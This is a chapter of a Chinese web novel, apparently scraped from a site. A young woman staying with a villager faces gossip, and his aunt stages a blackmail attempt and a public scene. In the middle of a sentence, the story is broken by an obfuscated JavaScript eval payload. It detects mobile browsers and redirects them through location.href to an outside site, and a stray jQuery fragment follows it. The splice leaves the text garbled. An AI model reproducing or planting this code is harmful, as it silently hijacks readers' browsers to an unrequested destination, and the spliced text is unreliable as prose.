宗北顿了顿,“没有现成的,得订做,要一个月。”
“一个月啊……”谢姝嘟囔,“那我这些天怎么洗澡?”
“村里的人好像会在河边——”宗北说着,看谢姝的眼睛瞪的老大,忍不住笑了一声,从厨房角落搬出一个大木盆,“可以用这个,能凑合。”
谢姝看着那个勉强能坐下一个人的木盆,嘟了嘟嘴,勉强点了点头,“好吧。”她想起什么,“你下午还出去么?”
宗北一愣,“不出去。”他迟疑一瞬,“有什么事么?”
“我等会想把头发洗了,你……”谢姝嫌弃地瞅了一眼身侧的头发,转而有些不好意思,“你能不能帮一下我。”
“需要我做什么?”宗北耳根一红。
谢姝没注意到,又往他身前凑了凑,“烧水、换水,我现在只有一只胳膊,洗头是个大工程,你得待在我身边随时帮我。”
她一凑近,宗北便能清晰的闻到她身上那股幽香,连忙向后退了一步,红着脸答应下来。
“太好了,我去准备一下,洗完头再洗个澡!”谢姝满意地点点头,转身出了厨房。
下午,约莫已在未时,村民都在田地里劳作,杏坡村的羊倌赵有财正赶着羊往山上去吃草,经过宗家老宅时,一向安静无声的院子里正传来男女的嬉闹声。
“洗干净了么?”女人清亮的声音传来,带着些许焦急。
“没有。”似乎是宗家的二小子,声音带着几分慌乱。
“在哪里在哪里,哎呀你拿瓢帮我冲一下啊。”女人抱怨起来,声音甜腻腻的,像是在撒娇,“我不行了,腰都要断了。”
赵有财竖着耳朵听了一会,歪着头从篱笆缝隙里,看见宗北正拿着一块布巾,帮女人擦着头发,那女人不知怎的,忽然侧头看了过来,长得又白又嫩,却不是村子里的人。她拿手肘碰了碰宗北,伸手往自己这边指。
赵有财连忙收回目光,赶着羊继续往前走,他随手拔起一根甜草在嘴里嚼了嚼,坐在一旁歇晌的宗三婶见了,老远指着他吆呼起来,“嘴里嚼啥好东西呢,别是把张财主家的羊给偷吃了。”
赵有财走到她跟前,随着痰把嘴里的草一吐,对着宗三婶神神秘秘一笑,露出焦黄的牙齿,“好东西是没吃,不过好戏嘛,嘿嘿,倒是看了一出。”
说罢,从后腰摸出旱烟杆,放在嘴里抽了起来。
宗三婶在他身后呸了一声,“什么好戏,扯犊子吧。”
见她不信,赵有财停下赶羊的脚步,扭头笑道:“你还不知道吧?你侄子,叫宗北的,哦哟,可了不得了。”他凑到宗三婶耳朵边,“在家养了个漂亮女人,俩人大白天在院子里洗澡,亲来摸去的。”
见宗三婶不信,赵有财啧了一声,趁机摸了一把她的手,见宗三婶跳起来要打他,忙几步跑出去,边跑边笑:“不信你自己去瞧瞧去啊。”
谢姝不知道自己又被人造黄谣了,她在屋子里洗了澡,换好衣服,把大门打开,正在梳理已经半干的长发。
宗北从房间里将木盆搬出去,将水倒在墙边的地上,没想到这一泼,竟然泼出个人来。
“哎呦!长没长眼,泼老娘一身的水!”宗三婶从院子外边的草丛里跳出来,浑身被水浇成了落汤鸡,叉着腰破口大骂。
宗北刚刚被谢姝洗澡的水声弄得心浮气躁,一时没注意,让前来偷摸打探的宗三婶钻了个空子,冷声道:“你在这里做什么?”
谢姝听到动静,以为出来什么事,赶忙从屋子里快步走出来,“怎么回事?”
她半干的长发披在身上,胭脂水色的衣裙在阳光下浮光流转,形容娇美,姿态灵动,恍若神仙妃子。
“你是谁?”谢姝看着宗三婶,出口不见半分柔弱。
宗三婶隔着缝隙,见真有个陌生女人从屋子里跑出来,抚掌得意道:“赵有财说的居然是真的,你们孤男寡女,伤风败俗,叫我抓了个正着。”
谢姝皱起眉头,和宗北对视了一眼,“这人谁啊?”
“是我三叔家的,”宗北将木盆放在一旁,握拳在嘴边咳了咳,不情愿道,“按亲戚关系,应该叫三婶。”
“天啊,你家怎么这么多极品亲戚啊。”谢姝满头黑线,忍不住扶额感慨。
见这俩人完全不搭理自己,就这么自顾自的聊上天了,宗三婶有些不爽,一手叉腰,一手指着宗北,声音高了八度,恨不能喊出来,“说你呢,你哪找来的野女人,过明路了么就过起日子来了,真不要脸。”
宗北将谢姝挡在身前,双手忍不住握拳,“你有什么目的,就直说,现在就我们三个,用不着编故事。”
瞧见宗北护人的动作,宗三婶心中一喜。看来这小子在乎这女人,那就好办了。“我编故事?”她竖起眉毛,“赵有财都看见你们俩在院子里亲嘴了,还装什么?”
……
赵有财又是谁?不信谣不传谣啊……
谢姝哭笑不得,感慨自己刚醒来短短两天,就已经身处杏坡村八卦漩涡了,真的很有点热搜体制啊。
“识相的,别再来掰扯你们家地的事,再给你三叔三婶拿上二十两孝顺银子,否则别怪你三婶不讲情面,把丑事给你捅出去。”
谢姝拍了拍宗北紧绷的后背,从他身后探出脑袋,“还用得着你捅,你们全村差不多都知道了,不差你一个。”
“我无所谓,就当给自己买热搜了。”痛快吐槽完,她忽然忍不住担心,若真的闹得风风雨雨,会不会引起主角团注意,再次被拉入剧情线,毕竟少了她,女主替嫁的剧情没法进行……
“你,你这女人,怎么这么不要脸?”宗三婶被谢姝的态度弄得瞠目结舌,她拿捏宗北,借的就是谢姝的名节,毕竟这种事嚷嚷出来,吃亏的只有女人,没想到这不知哪来的野女人竟然丝毫不在意。
宗北一脸担忧地看着谢姝,竟然也劝道,“你怎么跟她顶?她真的会闹得满村皆知的。”
我跟她顶?你要不要听听自己在说什么!
谢姝本来就暗自后悔,刚刚不该毫无顾忌,一不小心可能会暴露自己的行踪。却没想到自己牺牲这么大,宗北居然不领情,恨铁不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754048|190051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成钢地瞪着他,“你还好意思说!在你家待了两天天,一天碰上一个你家的极品亲戚,不停造我的黄谣!”
“我不跟她顶,那你给她二十两吧!”
“赵有财是不是刚才那个放羊的?”
“你家外墙跟没有似的,谁想翻就能翻进来,谁过来都能朝里面看两眼,你今天给了她,明天还要给谁,你有几个二十两!”
她一顿输出,边说边径直往大门口走去,宗北赶忙拉她,不小心碰上谢姝的左臂。
谢姝吃痛闪躲,她咬住下唇,脚尖狠狠地在宗北脚面上踩了一下。
“对不起,”宗北拉住她的右手,“你要做什么?”
谢姝一把甩开他的手,“还能做什么,我要打这恶婆娘一顿,然后离开这里!”
宗三婶见她这么说,看今天怕是敲诈不成了,竟然抓乱头发,坐在大门口,哭天抢地的吆喝起来,一时间引来了不少正在附近种田歇晌的人围观,一群人七嘴八舌的看热闹。
“出什么事了?”
“不知道啊,宗家几房又吵起来了。”
“宗二身边站的姑娘是谁,怎么这么眼生?”
“他表妹吧?”
“什么表妹!”宗三婶假意哭着,接腔道,“还在他家洗澡呢,披头散发又搂又抱的,我当他是晚辈后生,说了两句,就要打我!”
“哎呦,那真是……”村民们听了宗三婶的话,开始对着谢姝议论纷纷,有说她不知廉耻的,搁以前应该点天灯的,又惋惜谢姝美貌不珍惜,不该选个农家汉,应该嫁个富贵人家当小妾的,还有说郎情妾意,小年轻不懂事的。
谢姝听得咬牙切齿,恨不得从厨房拿出菜刀,把这群看热闹不嫌事大的全都当树杈子给削了。
但就在这股怒气冲上头顶的瞬间,她眼前不由自主地闪过接下来的剧情和原著女配的结局,怒火被厌恶和无力感浇熄。这里不是法治社会,她也不是一个随时都可以掏出身份证的自由人,每一道注视她的目光,都可能将她扯向深渊。
万万没想到洗个头引出这么大个乌龙……
她收敛怒气,抬头对宗北说:“我好像真的得走了。”刺眼的阳光直直照进眼睛,一阵酸涩,她忍不住用手挡住揉了揉,再抬眼,眼睛一片通红,瞧着水汪汪的,像是哭过一样。
浓烈的药香从厨房飘了出来,眼前的姑娘矮小瘦弱,孤苦无助,刚从虎口逃出,转身又入狼窝,被流言环伺。宗北看着她强忍委屈的模样,想到她身上有伤,无依无靠,心头像是被什么东西狠狠揪了一下。
她上一次哭还是在病重,说自己太痛了……
他拉住谢姝的手,不敢想象若是让她就这么离开,会发生什么,只觉心中有一股冲劲,想要保护这个脆弱可怜的姑娘。
“你不用走。”他握了握谢姝的手,“是我招来的祸事,让我来解决。”
谢姝看他握了握自己的手就去开门,目瞪口呆,只觉得这台词听起来莫名的像在立flag,他不会是要自杀谢罪之类的吧……
不至于,真不至于。